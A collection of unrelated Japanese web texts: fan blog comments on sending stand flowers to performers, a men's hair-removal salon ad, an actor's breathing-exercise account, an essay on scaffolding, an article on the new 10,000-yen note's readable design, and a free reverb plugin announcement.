もともと誰かの力を借りて完成させたもの(寄せ書きなども然り)を差し入れするのが嫌だったので、1人で全部やって1人でスタンド花を贈ろう!って思ってたのですが、なんせやったことがないので、まず何から始めたら良いのか全く分からなかったんです……(笑)ググったりもしたのですが、あまりピンとこなくて……。
・お花屋さんはどこでも良いのか→地元の花屋にお願いして良いのかor会場の近くの方が良いのか→地元の花屋だとしたら田舎故にこのようなイベントのスタンド花に慣れておらず要望を受け付けてくれるのか(笑)
・会場側の許可は必要なのか→必要な場合は電話等で許可を得るのか
・どこからどこまで業者さんにやってもらえるのか
などなど、無知すぎてやる気消失してしまったんです……。また、マイクロトフ様の記事を読んで思ったのですが、配送伝票とはどういったものなのでしょうか?!
私も出来れば名前は公表したくないので、相手の方にだけ私からだと伝えたいのですが……。
もしなら今度、フラワースタンド贈ってみようかなと思います(*^^*)
長々とコメントしてしまい申し訳ありません(>人<;)また更新楽しみにしております!
Miklotov より:
2017年2月13日 1:07 PM
こんにちわ、初めまして、マイクロトフです。
辺境の地まで足をお運びいただき、コメントまでありがとうございます~!
うろんさんのお相手は、歌い手系さんですかね?友人にも歌い手さんの追っかけいますよー!
贈ったプレゼントもわりと使っていただけるという身近さ・・・!(違ってたらすみません)
そして、認知されているのですね、凄いです!是非、うろんさんの術を教えていただきたいです!
スタントフラワーですが、基本「お花屋さんに発注⇒お花屋さんが会場へ配送⇒お花屋さんが撤収」という流れになると思います。
宅配便などの荷物と同じ扱いで、「配送伝票(発送伝票)」が発生します。送り状ってやつですね。
なので、宛先(お目当ての方)には「◯◯(自分)さんからお花のお届けです)ということがわかります。(お相手の方が受取人になるので)
そのことになります。ですので、お花に飾る名前で自分の名前を明かしていないのであれば、相手の方以外(スタッフは別ですが)に公開されることはありませんので、ご安心下さい。逆に、お花で「ファン一同」といった名前にしても、伝票の送り人により、自分が送り主だということがわかるのです。
本当に、お花の宅配便と変わらないですよ。
また、スタンド花は送り先の会場が「受け入れOK」かは、事前に確認が必要です!
大きなイベントや会場の場合は、そのイベントのHPにスタンドフラワーに関しての扱いを書いていてくれます。もしも、書いていない場合は、主催に事前確認する必要があります。
OKだった場合のみ、スタンドフラワーを送ることが出来ます。
お花ですが、私は東京イベントで近隣のお花屋を利用しましたが、配送はお店にお願いする形になるので、利用したい花屋にどこまで配送してくれるのか、事前に確認した方がいいです。
配送料なども考えて、イベント会場周りの県がいいのではないかな?と思います。この辺りは、お花屋さんに相談ですね。
私もほぼ友人にお願いでしたが、インターネット(メール)または電話でのやり取りのみで、お花屋さんに伺うということはしなくても問題ないです。
ざっくりとした説明になりますが、「会場に確認」「お花屋さんと相談」の2点を押えておけば、出来ますよ!
良かったら、またいらしてください。お待ちしています。
2017年2月13日 2:17 PM
お返事ありがとうございます〜!!
そうですね、歌い手さんです!
わりと幅広く活動されている方ですが。
主にライブやインストに足を運んでおります(*^^*)
スタンド花について詳しくご説明いただきありがとうございますううう( ; _ ; )
ネットで注文を承っているところもたくさんあるようですね!細かく教えていただき感謝です。。。今度贈ってみようと思います!本当にありがとうございます(*^^*)
また遊びに来させていただきます!
2017年2月11日 7:42 PM
プレゼント、いつも悩みますよね。
私の好きな人のファンの方でも、スタンドフラワーをみんなで集めましょうと仲間を募っているツイートを時々みかけます。普通に仲良しグループみたいになっちゃうようですね。ちょっと楽しそうです。
私はぼっち応援を崩す気がないので遠くでそっと見守っているだけですが。。きっと、声優ご本人からみても、こういったお花は楽屋などでも目立つし嬉しいのだろうなと思います。お花は華やかに目立つ分だけファンがたくさんいるかどうかのバロメータみたいな部分もある気がしますし。。
ただ、なんだか高額プレゼントって送りたいとおもったことないんです。。
ホストに貢ぐ人みたいな感覚に陥ってしまって嫌なのです。
それで喜んでもらえたとしても、あまり嬉しくないなと思ってしまって。。
リアルな恋人相手ならちょっと良い物でも贈れますけど(もちろんしっかりお返しをいただきます。ただで貢ぐことはないです。笑)
きっと愛が足りないのでしょうね~。。だめですね。。
ちいさなプレゼントならたのしく選んで送るんですけど。。
Miklotov より:
2017年2月13日 12:54 PM
いつもありがとうございますー!
プレゼントは、本当にいつも悩みます…ストックしておかないと不安になります。(笑)
スタンドフラワーは、そうなんですよね。ご本人が例え気にされていなくても、人気のバロメーターには外部からは感じてしまうので…
なんでだか、その辺りの気にしようはファンの方が強い気がしますがww
私も高額プレゼントは送りませんよ~!記事にも書きましたが、基本2000円~3000円程度です。
「貢ぎ」とは勘違いしてほしくないですし、こちらもそのつもりで贈ってはいないので。
そして、プレゼント(差し入れ)の金額は「愛」ではないですよー!!!と、私は思います。
どのくらい長く、応援できるか、だと思います。
それが太く短くよりも、細く長く、ずっと応援してもらえている方が、相手も嬉しいと思いますよ。
プレゼント贈るよりも、手紙を書いて、その方の作品何なりを見る方が、よっぽど「愛」があると思うし、相手の方もそう感じとってもらえるのではないかな?と。
なので、ここねさんのように、小さなプレゼントで全然構いません。
今回のフラワースタンド(高額プレゼント)はあくまで一例として。「高額プレゼント」という書き方に語弊があったかな?と。すみません!
ここねさんらしい応援スタイルが一番だと思います!
いつもお越しいただき、ありがとうございます~!ヽ(^o^)丿
2017年2月11日 11:34 AM
マイクロトフさん、お久しぶりです♪
スタンドフラワー、イベントに行くたびに気になっていました。「高いんだろうな〜…でも愛が伝わるな。どんな人が贈るんだろう」と!
なので、記事を読んでスッキリしました。ありがとうございます(*’-‘*)
あと今更なのですがマイクロトフさんの年賀状の記事を読んで、私も初めて年賀状を送る事ができました。いつも背中を押していただいてます♪


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text:
〒503-0824 岐阜県大垣市旭町3丁目10旭ビル1F
12:00〜24:00(最終受付 23:00)
VISA/MasterCard/JCB/American Express/Diners/Discover
JR大垣駅より車で5分/徒歩20分
夜遅くまでやっているので仕事帰りにも行けるのはありがたい!!
大垣初のメンズ脱毛店OneRankの特徴
日本エステティック協会の資格を持つ、男性エステティシャン
女性脱毛サロンでは相談できない悩みや、男性同士だからこそ分かる
「体毛の悩み」「お肌の悩み」をひとつひとつに真摯に向き合い、お客様一人一人に合わせたアドバイスやサポートをしてくれます。
友達にもいいにくい悩みって結構ありますよね。。男性店員なので気兼ねなく相談できるのってめちゃめちゃ嬉しいですよね。
設備と高度なアフターケアで、術後の肌荒れなどの悩みにも対応
ワンランクは国産美容サイト脱毛機を使用しています。安全審査適合機ですので安心、安全に施術を受けられます。
またお客様一人一人の肌コンディションに合わせた化粧品を使用してアフターケアもしっかりしてくれるそうです。
脱毛の機械は僕たちにはよくわからないですけど、最上級というのは安心できます。
そしてこのエステティック協会の資格を持つ方は東海地方でも少ないらしくアフターケアも相談できるのもかなり嬉しい♪
「完全個室」&「完全予約制」
ワンランクは完全予約制で完全個室です。なので他のお客様と会う機会がなく安心して施術を受けることが出来ます
世の中に認知されてきたとはいえ、まだまだ脱毛を堂々と言うのはちょっとって方にとって完全個室&予約制はありがたい。
待合でも会うことがないのは嬉しい配慮です。
仕事帰りでも助かる営業時間
ワンランクは24時までやっているので仕事帰りにも行ける時間なのも特徴です。
一度の施術で時間がけっこうかかるので遅くまでやっているのはかなりありがたいです。仕事帰りの男性目線ですよね
正直脱毛って高いイメージがありますよね?そんな安くはないのが脱毛ですが、自身の悩みが解決すればと思えば高い物でもないと思います。
さらにワンランクは中でもかなりお得な料金システムです。
名古屋などはやはり家賃なども高いので料金がかなり高いですが、ワンランクは気軽に通ってほしいということもありかなり安いです。
お得な料金で、同じかそれ以上の施術を受けれるなら間違いなく近場の大垣が良いですよ♪
実際のヒゲ脱毛の費用相場 まとめ(10回あたり)
光脱毛     :15〜18万円
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ワンランクの口コミを見てみましょう!
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岡本信人(おかもと・のぶと)
1948年、山口県生まれ。俳優、タレント。『肝っ玉かあさん』『ありがとう』『渡る世間は鬼ばかり』など、テレビ、映画、舞台で幅広く活躍。最近では、野草の達人として活躍し注目を集める。著書に『道草を喰う』(ぶんか社)など。
食べ物やツバが頻繁に気管に入るように
今から5年ほど前、私は誤嚥によるセキに悩まされていました。家人からは、「慌てて食べるから詰まるのよ」と注意されるものの、若いころはこんなことはありませんでした。のどの機能が衰えたのか、飲み込む力が弱くなってきたようです。食事や会話の最中に、食べ物やツバが簡単に気管に入ってしまうのです。いったん入ると、ひどくむせたり、セキが止まらなくなったりして、大変苦しい思いをしていました。
誤嚥性肺炎(誤嚥によって肺が炎症を起こす病気)が、高齢者に多い死因の一つということは知っていました。僕自身もう若くはないし、このまま誤嚥グセがつくのはなんとか避けたい。何かいい方法はないものかと、1年ほど悩んでいました。
そんなある日、いつも通っているスポーツジムの中で、ふと目に留まった教室がありました。ガラス越しに見える皆さんが、口をパクパクさせています。確認してみると、「ボーカリズム」というボイストレーニングの教室でした。
主にカラオケがうまくなりたい人が通っているようです。教室の先生に話を聞くと、ボイストレーニングは、腹式呼吸の訓練やのどを鍛えることで、歌の上達だけではなく、誤嚥の防止にも役立つそうです。
「これだ!」と思って、私も早速ボーカリズム教室に申し込み、週に1回、通うようになりました。
教室では、いろいろな声を出すエクササイズを行います。なかでもメインになるのが、「ドッグブレス」でした。
ドッグブレスのやり方にはパターンがいくつかありますが、ここでは最も基本的なものを紹介しましょう(下項参照)。
下腹を凹ませてお尻の穴を締める
ドッグブレスは、犬が走ったあとに口を開けて呼吸をするように、「ハッハッハッハッ」と息を短く強く吐くことをくり返す呼吸法です。息を吸うのは意識しなくても、吐けば自然と吸うので大丈夫です。小刻みに息を吐くので、肺やのどをしっかり使います。
ドッグブレスを行う際、重要なのは下腹を凹ませること。その力で「ハッ」と強く息が吐けるのです。同時に、お尻の穴をキュッと締めます。
のどはなるべく締めつけません。「ハアーッ」とあくびをするときのように、常に空洞の状態を保つことが大事です。
ドッグブレスは、呼吸するだけなのですが、慣れないうちはけっこうハードで疲れました。やっている最中にクラクラしたこともあります。先生から「あまり一生懸命やらなくていいですよ」といわれたくらいです。
横隔膜(胸とおなかの境目にある薄い筋肉)を激しく上下に動かすと同時に、骨盤底筋群(骨盤の下側にある筋肉の総称)や腰周りの筋肉も使うので、いい筋力強化にもなります。
慣れてきてからは、ウォーキングに出たときにも、歩きながらドッグブレスを行いました。
こうしてドッグブレスを日常的に行うようにしてから、いつの間にか、食事中に誤嚥しなくなりました。もう始めて5年になり、誤嚥に悩んでいた時期からさらに年を取りましたが、今も誤嚥はほぼ皆無です。ひどくむせたり、セキ込んだりすることはまずありません。
また、以前よりしっかり声が出るようになりました。肺活量もアップしたようです。このように、のどが鍛えられ、肺機能も高まれば、ひょっとしたら新型コロナウイルスの予防にも役立つかもしれません。
今年で俳優生活57年めになりますが、今後もしっかりボイストレーニングを続ければ、声の衰えもなく、いい演技をお届けできるんじゃないかなと思っています。
ドッグブレスの基本的なやり方
❶足を肩幅に開いて立ち、姿勢をよくして肩の力を抜く。
❷声は出さず、犬が口を開けて呼吸するように、「ハッハッハッハッ」と、息を短く強く吐くことを1分間くり返す。息を吐くとき、下腹を必ず引っ込める。
❸②と同様のやり方で、息を吐く際に声を乗せて、「ハッハッハッハッ」と1分間くり返す。
❹最後に、ハーッとできるだけ長く息を吐く。
❺①〜④を1セットとして、朝昼晩行う。
・息を吐くときに下腹を凹ませる。
・のどはあくびのときのように空洞を保つ。
無理はしない。②③は各1分間が目安だが、最初は20〜30秒から行うとよい。
血圧の高い人や高齢者は少ない回数から始める(山王病院副院長・呼吸器センター長 奥仲哲弥)
ドッグブレスは、息をしっかり吐き、のどを締めつけないという点で、私が指導する呼吸法と共通しています。そうすることで、のどや肺の機能が向上したのでしょう。
ただ、強く息を吐き出すので、血圧の高い人や高齢者はやり過ぎるとかなり体の負担になります。最初は10回ぐらいから始め、徐々に回数を増やすようにしてください。


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text:
環境との共存しか選択の道がないのが生物であります。そこでこの自然環境にしろ社会環境にしろより良きものになるように己を処していく、ここで否定的な感情や行動は捨ててかかる、その事が生きる力を生みだします。
この工夫の中に解決の糸口があるのです。あきらめてはいけません。
自然と友になり、社会と友になる、この考えの中に道は見えてきます。敵対の中からは解決の道筋は見えてきません。
自然を愛し、隣人を愛してみませんか。深い洞察の泉が湧くでしょう
あぐり米の稲を刈っています
心配されていた台風も去り、真言寺周辺にある豊田地区の田圃では、真言寺あぐり米になる稲の刈り取りが進んでいます。(10月14日現在)
今年は、ご存じの通り夏場の日照時間が短く、例年より1週間程度遅れての稲刈りになりましたが、さわやかな秋晴れの中、気持ち良く稲が刈り取られてゆきます。


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text:
— 日本銀行 (@Bank_of_Japan_j) September 1, 2021
— 朝日新聞デジタル (@asahicom) September 1, 2021
・新しい1万円札ダサいって評判悪いから3000円くらいの価値しかなさそう
・新1万円札なんかダサいな…数字のフォントだけでもどうにかならんかったんか
「オモチャっぽい」「ダサい」…
多くの人が、新一万円札がなんとなくデザイン的に洗練されていないような印象を受けたようです。
「日本のデザインの力が落ちたのか…」中にはそんな風に、日本の国力の衰退を嘆くような声も見受けられました。しかし少し待ってください。本当にそうなのでしょうか?
しかし、あるツイートをきっかけに、少しずつその流れは変わっていきます。
実際にそのツイートをご覧ください。
新しい一万円札のデザインの発表をNHKで見た時、赤緑色弱・緑内障・白内障・加齢(80が近づいてきた)で既に本や新聞等が一切読めなくなっていた実家の父が「あぁ、この見た目なら区別しやすいなぁ。」と言っていたので、誰が考えてるのか知らないがよく考えてあるんだなぁと思いました。
— DJ TECHNORCH ( BEMANI / MxCx / Cock Rock Disco ) (@technorch) September 2, 2021
そう、この一万円札は、視覚的にハンディのある方や、視力が非常に悪い人でも文字が読みやすいと評判なのです。
・これね、凄いダサい…けど悔しい事に滅茶苦茶見やすいんですわ…デザインは今の方が好きだけどわかりやすさは圧倒的に新しい方なんだよね、視覚処理よわよわなのではっきりわかるのは嬉しい!けど納得できないこの気持ちは…
・「10000」の字体がダサいことで評判の新紙幣ですが、シンプルなゴシック体の数字を大書きすることになったのは、外国人、弱視者、こども、ディスレクシアなどできる限り多くの人が「読みやすい」ことを目指した結果です。 直感的にダサいとは思いますが、この時代らしいとも言えます。
実はこの紙幣、大学発のベンチャー企業がデザインに関わっており、どんな方であっても文字が読みやすいように、隅々まで工夫されているのです。
また、アメリカのドル紙幣などのデザインも参考にし、あえて10000と、1000の「1」の形状を変えることで、見分けがつきやすいように工夫していることなども見て取れます。
この視点を理解し、インターネット上の人々も、デザインに納得がいったご様子。
・なるほどなあ 見やすさ、判別のしやすさってのは俺視点だと気付けない点だ
パッと見はオシャレなデザインと、実際に使いやすいデザインは別ってのは肝に命じておかないと
・デザインがどうのって、健常者側の発言でしかなかったんだよね。
今回のデザインが、”優しい”て最初に思った自分、どこかに何等かの障害があるのかもしれん。
・凄いけどダサい、このフレーズ好きだわぁ
デザインが好きかどうかは個人の感性の問題で、嫌いであれば嫌いと言っても良いものです。
しかし、深く考えずに批判をしてしまう前に、一歩立ち止まって、どんな意図があったのだろうかと考えてみると、そこに全く違う視点があることに気づけるかもしれません。
引用元:https://www.chietoku.jp/shin-ichimanen/,記事の削除・修正依頼などのご相談は、下記のメールアドレスまでお気軽にお問い合わせください。[email protected]
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実践者があるタスクをこなすことに苦戦していれば、支援者自らがそのタスクの一部を行い、タスクの遂行の仕方を身をもって示すことなどが該当する。よりわかりやすい例で言えば、武術を習いたての実践者に対して、言葉だけではなく、実際に実践者の腕を掴んで技のかけ方を身体を通じて教えることは、直接的なスキャフォールディングの最たる例である。
そして、もう一つのスキャフォールディングの種類は、間接的なスキャフォールディングと呼ばれる。これは、支援者から実践者に対して、手取り足取り支援をするのではなく、何らかのフレームワークや実践のヒントを提供することを指す。
先ほどの幼児の歩行運動の例にあるように、両親は直接的に幼児の身体に触れなくても、間接的に幼児の歩行を助ける支援ができるのだ。幼児が歩く道の上の障害物をさりげなく取り除いてあげることは、「幼児にとって歩きやすい道」という型を提供することを意味している。
その他にも、武術の技のコツを比喩的に言葉で実践者に示すことは、間接的なスキャフォールディングと言えるだろう。さらには、パワーポイントの活用や企画書の構成案を作成することも立派な間接的スキャフォールディングである。
想像していただきたいのは、例えば、二時間何か特定のテーマについて説明をしなければならない時に、パワーポイントなどの資料なしに話を順序立てて行うことはできるだろうか?一般的に、それは至難の技だと思う。
私たちはパワーポイントというツールを活用することによって、二時間にわたって順序立てて説明をする、というタスクをうまく遂行することができるのではないだろうか。つまり、パワーポイントのスライドが、ある種の「フレームワーク」としての機能を果たし、私たちはそうしたフレームワークの恩恵を受けながら、話を順序立てて行うことが可能になるのである。
これはまさに、間接的なスキャフォールディングである。企画書の構成案についても同様のことが言えるだろう。構成案というフレームワークがあるからこそ、そこにコンテンツが埋まっていき、一つの企画が成り立つのである。
日常生活を振り返ってみると、何気ないところに、直接的・間接的なスキャフォールディングが存在していることに気づくだろう。私たちは知らないところで、他者や様々なツールによる支援を受けているのである。
自分を取り巻くスキャフォールディングが何かを列挙することによって、その数の多さに驚かされるとともに、いかに自分が多様な支援の恩恵を受けているかに気づくだろう。
そこに気づくことができれば、スキャフォールディングを自覚的に自分で活用することにつながり、さらには他者の成長支援に対して、様々なスキャフォールディングを提供できると思うのだ。2016/12/8


langs: ja ja ja en ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja en ja ja ja ja ja ja ja ja ja ja en en ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja en ceb ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja es en ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja ja

text:
OneKnob Wetterはリバーブプラグインです。
しかも操作するのは中央の大きなノブ1つだけです。
このノブを回す事でかかり具合を調節します。
非常にシンプルで使いやすいプラグインです。
ライブ、スタジオと環境を問わず、通した素材に空間・アンビエンスを付加するためのプラグインです。素材に適したスウィートスポットを見つければ、簡単に奥行きのあるトラックを作りだすことができます。ノブ上の各ポイントは、異なる素材に対し最適化されているため、短く明るめのアンビエンスから、ダークでより広い「空間」まで、OneKnob Wetterはあらゆる空気感を演出することができるでしょう。
メディアインテグレーション
OneKnob Wetter 動画
Waves社によるOneKnob Wetterの公式動画とProduction Expertによる使用例です。
解説は英語ですが、サンプル音源を使用して操作していますので、このプラグインの効果は十分わかると思います。
Waves Audio
Production Expert
Waves公式サイトのキャンペーンページに行く。https://www.waves.com/account/oneknob-wetter-free
ログインする。(アカウントを持っていない場合は作成する。無料です。)
「LOG IN TO GET」をクリックすると、アカウントにOneKnob Wetterが追加される。
*全て英語になりますのでご注意ください。
*不安な場合は日本正規代理店のメディアインテグレーションさまのサイトで情報収集される事をお勧めします。
普段は有料で販売されているプラグインです。Waves社のプラグインですので効果は素晴らしいです。
お持ちでない方は是非この機会にゲットしてみては如何でしょうか。
この記事を書いている人
YouTubeチャンネルのツキシマ音楽堂とツキシマ娯楽堂の管理人ツキシマ(ツッキー)です。以前音楽業界の片隅にいた作編曲家の只のおっさんです。ツキシマの音楽や趣味の知識を皆さんとシェアしたくて動画とブログを始めました。どうぞよろしくお願い致します。
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